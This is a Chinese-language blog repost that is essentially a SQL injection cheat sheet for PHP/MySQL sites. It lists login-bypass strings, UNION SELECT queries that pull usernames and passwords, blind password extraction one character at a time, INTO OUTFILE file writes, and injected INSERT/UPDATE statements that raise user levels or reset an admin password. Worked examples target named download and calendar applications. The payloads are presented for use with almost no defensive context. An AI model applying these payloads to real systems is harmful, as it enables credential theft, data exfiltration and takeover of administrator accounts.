开发者社区> 技术小甜> 正文
阿里云
为了无法计算的价值
打开APP
阿里云APP内打开

手动注入PHP

简介:
+关注继续查看
 or 1=1 
' or '1=1 
'/* 
'%23 
' and password='mypass 
id=-1 union select 1,1,1 
id=-1 union select char(97),char(97),char(97) 
id=1 union select 1,1,1 from members 
id=1 union select 1,1,1 from admin 
id=1 union select 1,1,1 from user 
userid=1 and password=mypass 
userid=1 and mid(password,3,1)=char(112) 
userid=1 and mid(password,4,1)=char(97) 
and ord(mid(password,3,1))>111 (ord函数很好用,可以返回整形的) 
' and LENGTH(password)='6(探测密码长度) 
' and LEFT(password,1)='m 
' and LEFT(password,2)='my 
…………………………依次类推 
' union select 1,username,password from user/* 
' union select 1,username,password from user/* 
=' union select 1,username,password from user/* (可以是1或者=后直接跟) 
99999' union select 1,username,password from user/* 
' into outfile 'c:/file.txt (导出文件) 
=' or 1=1 into outfile 'c:/file.txt 
1' union select 1,username,password from user into outfile 'c:/user.txt 
SELECT password FROM admins WHERE login='John' INTO DUMPFILE '/path/to/site/file.txt' 
id=' union select 1,username,password from user into outfile 
id=-1 union select 1,database(),version() (灵活应用查询) 
常用查询测试语句, 
SELECT * FROM table WHERE 1=1 
SELECT * FROM table WHERE 'uuu'='uuu' 
SELECT * FROM table WHERE 1<>2 
SELECT * FROM table WHERE 3>2 
SELECT * FROM table WHERE 2<3 
SELECT * FROM table WHERE 1 
SELECT * FROM table WHERE 1+1 
SELECT * FROM table WHERE 1--1 
SELECT * FROM table WHERE ISNULL(NULL) 
SELECT * FROM table WHERE ISNULL(COT(0)) 
SELECT * FROM table WHERE 1 IS NOT NULL 
SELECT * FROM table WHERE NULL IS NULL 
SELECT * FROM table WHERE 2 BETWEEN 1 AND 3 
SELECT * FROM table WHERE 'b' BETWEEN 'a' AND 'c' 
SELECT * FROM table WHERE 2 IN (0,1,2) 
SELECT * FROM table WHERE CASE WHEN 1>0 THEN 1 END 

例如:夜猫下载系统1.0版本 
id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user 
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 
id=10000 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and groupid=1 
union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 (替换,寻找密码) 
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49 (验证第一位密码) 
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,2,1))=50 (第二位) 
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,3,1))=51 
………………………………………………………… 

例如2:灰色轨迹 变换id进行测试(meteor) 
union%20(SELECT%20allowsmilies,public,userid,'0000-0-0',user(),version()%20FROM%20calendar_events%20WHERE%20eventid%20=%2013)%20order%20by%20eventdate 
union%20(SELECT%20allowsmilies,public,userid,'0000-0-0',pass(),version()%20FROM%20calendar_events%20WHERE%20eventid%20=%2010)%20order%20by%20eventdate 
构造语句: 
SELECT allowsmilies,public,userid,eventdate,event,subject FROM calendar_events WHERE eventid = 1 union (select 1,1,1,1,1,1,1 from user where userid=1) 
SELECT allowsmilies,public,userid,eventdate,event,subject FROM calendar_events WHERE eventid = 1 union (select 1,1,1,1,username,password from user where userid=1) 
UNION%20(SELECT%201,0,2,'1999-01-01','a',password%20FROM%20user%20WHERE%20userid%20=%205)%20order%20by%20eventdate 
UNION%20(SELECT%201,0,12695,'1999-01-01','a',password%20FROM%20user%20WHERE%20userid=13465)%20order%20by%20eventdate 
UNION%20(SELECT%201,0,12695,'1999-01-01','a',userid%20FROM%20user%20WHERE%20username='sandflee')%20order%20by%20eventdate (查沙子的id) 



(SELECT a FROM table_name WHERE a=10 AND B=1 ORDER BY a LIMIT 10) 
SELECT * FROM article WHERE articleid='$id' UNION SELECT * FROM……(字段和数据库相同情况下,可直接提交) 
SELECT * FROM article WHERE articleid='$id' UNION SELECT 1,1,1,1,1,1,1 FROM……(不同的情况下) 

特殊技巧:在表单,搜索引擎等地方写: 
“___” 
“.__ ” 
“% 
%' ORDER BY articleid/* 
%' ORDER BY articleid# 
__' ORDER BY articleid/* 
__' ORDER BY articleid# 

$command = "dir c:\";system($command); 
SELECT * FROM article WHERE articleid='$id' 
SELECT * FROM article WHERE articleid=$id 
1' and 1=2 union select * from user where userid=1/* 句中变为 
(SELECT * FROM article WHERE articleid='1' and 1=2 union select * from user where userid=1/*') 
1 and 1=2 union select * from user where userid=1 

语句形式:建立一个库,插入: 
CREATE DATABASE `injection` 
CREATE TABLE `user` ( 
`userid` int(11) NOT NULL auto_increment, 
`username` varchar(20) NOT NULL default '', 
`password` varchar(20) NOT NULL default '', 
PRIMARY KEY (`userid`) 
) ; 
INSERT INTO `user` VALUES (1, 'swap', 'mypass'); 


插如一个注册用户: 
INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1'); 
“INSERT INTO membres (login,password,nom,email,userlevel) VALUES ('$login','$pass','$nom','$email','1')"; 
INSERT INTO membres (login,password,nom,email,userlevel) VALUES ('','','','','3')#','1') 
"INSERT INTO membres SET login='$login',password='$pass',nom='$nom',email='$email'"; 
INSERT INTO membres SET login='',password='',nom='',userlevel='3',email='' 
"INSERT INTO membres VALUES ('$id','$login','$pass','$nom','$email','1')"; 

UPDATE user SET password='$password', homepage='$homepage' WHERE id='$id' 
UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id' 
"UPDATE membres SET password='$pass',nom='$nom',email='$email' WHERE id='$id'"; 
UPDATE membres SET password='[PASS]',nom='',userlevel='3',email=' ' WHERE id='[ID]' 
"UPDATE news SET Votes=Votes+1, score=score+$note WHERE idnews='$id'"; 

长用函数: 
DATABASE() 
USER() 
SYSTEM_USER() 
SESSION_USER() 
CURRENT_USER() 
比如: 
UPDATE article SET title=$title WHERE articleid=1 对应函数 
UPDATE article SET title=DATABASE() WHERE id=1 
#把当前数据库名更新到title字段 
UPDATE article SET title=USER() WHERE id=1 
#把当前 MySQL 用户名更新到title字段 
UPDATE article SET title=SYSTEM_USER() WHERE id=1 
#把当前 MySQL 用户名更新到title字段 
UPDATE article SET title=SESSION_USER() WHERE id=1 
#把当前 MySQL 用户名更新到title字段 
UPDATE article SET title=CURRENT_USER() WHERE id=1 
#把当前会话被验证匹配的用户名更新到title字段 

::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: 
$req = "SELECT * FROM membres WHERE name LIKE '%$search%' ORDER BY name"; 
SELECT * FROM membres WHERE name LIKE '%%' ORDER BY uid#%' ORDER BY name 
SELECT * FROM membres WHERE name LIKE '%%' ORDER BY uid#%' ORDER BY name 
SELECT uid FROM admins WHERE login='' OR 'a'='a' AND password='' OR 'a'='a' (经典) 
SELECT uid FROM admins WHERE login='' OR admin_level=1#' AND password='' 
SELECT * FROM table WHERE msg LIKE '%hop' 
SELECT uid FROM membres WHERE login='Bob' AND password LIKE 'a%'#' AND password='' 

SELECT * FROM membres WHERE name LIKE '%%' ORDER BY uid#%' ORDER BY name

















本文转自loveme2351CTO博客,原文链接: http://blog.51cto.com/loveme23/8613,如需转载请自行联系原作者


版权声明:本文内容由阿里云实名注册用户自发贡献,版权归原作者所有,阿里云开发者社区不拥有其著作权,亦不承担相应法律责任。具体规则请查看《阿里云开发者社区用户服务协议》和《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容,填写侵权投诉表单进行举报,一经查实,本社区将立刻删除涉嫌侵权内容。

相关文章
PHP+MySQL打造XXX管理系统
PHP+MySQL打造XXX管理系统
32 0
SaltStack安装Apache/Mysql/PHP部署Wordpress
SaltStack是一个服务器基础架构集中化管理平台,具备配置管理、远程执行、监控等功能,基于Python语言实现,结合轻量级消息队列(ZeroMQ)与Python第三方模块(Pyzmq、PyCrypto、Pyjinjia2、python-msgpack和PyYAML等)构建。 SaltStack 采用 C/S模式,server端就是salt的master,client端就是minion,minion与master之间通过ZeroMQ消息队列通信。 master监听4505和4506端口,4505对应的是ZMQ的PUB system,用来发送消息,4506对应的是REP system是来接受
42 0
【PHP秒杀系统】第一篇 环境准备即MySQL的封装
【PHP秒杀系统】第一篇 环境准备即MySQL的封装
34 0
MacOs M1 芯片分布式搭建 Nginx+PHP+MySQL和多站点域名访问
一、安装Nginx 问题:Mac 在安装nginx之前记得把原本的apache2给卸载删除了,要不然后期会出现端口号被占用,或者有时候nginx用不了
134 0
PHP处理MySQL关联查询
什么关联查询? a)在MySQL中的Select语句中,我们经常会有复杂的业务需要使用join子语句,包括left join、right join、inner join、left outer join、right outer join、full join b)那么使用以上几种方式进行表查询的时候、对数据库的压力是很大的,怎么个大法呢,我们来测试一下: i.首先我们先搞一些数据 class表200w数据 user表 40w数据 ii.我们接下来查询15个班级下面的所有学生
72 0
PHP 和 MySQL 的合作方式
PHP 和 MySQL 的合作方式
38 0
centos下 Apache、php、mysql默认安装路径
apache: 如果采用RPM包安装,安装路径应在 /etc/httpd目录下 apache配置文件:/etc/httpd/conf/httpd.conf Apache模块路径:/usr/sbin/apachectl web目录:/var/www/html 如果采用源代码安装,一般默认安装在/usr/local/apache2目录下 php: 如果采用RPM包安装,安装路
3122 0
+关注
文章
问答
文章排行榜
最热
最新
相关电子书
更多
PHP与APM_技术内幕和最佳实践
立即下载
复杂PHP系统性能瓶颈排查及优化
立即下载
PHP安全开发_从白帽角度做安全
立即下载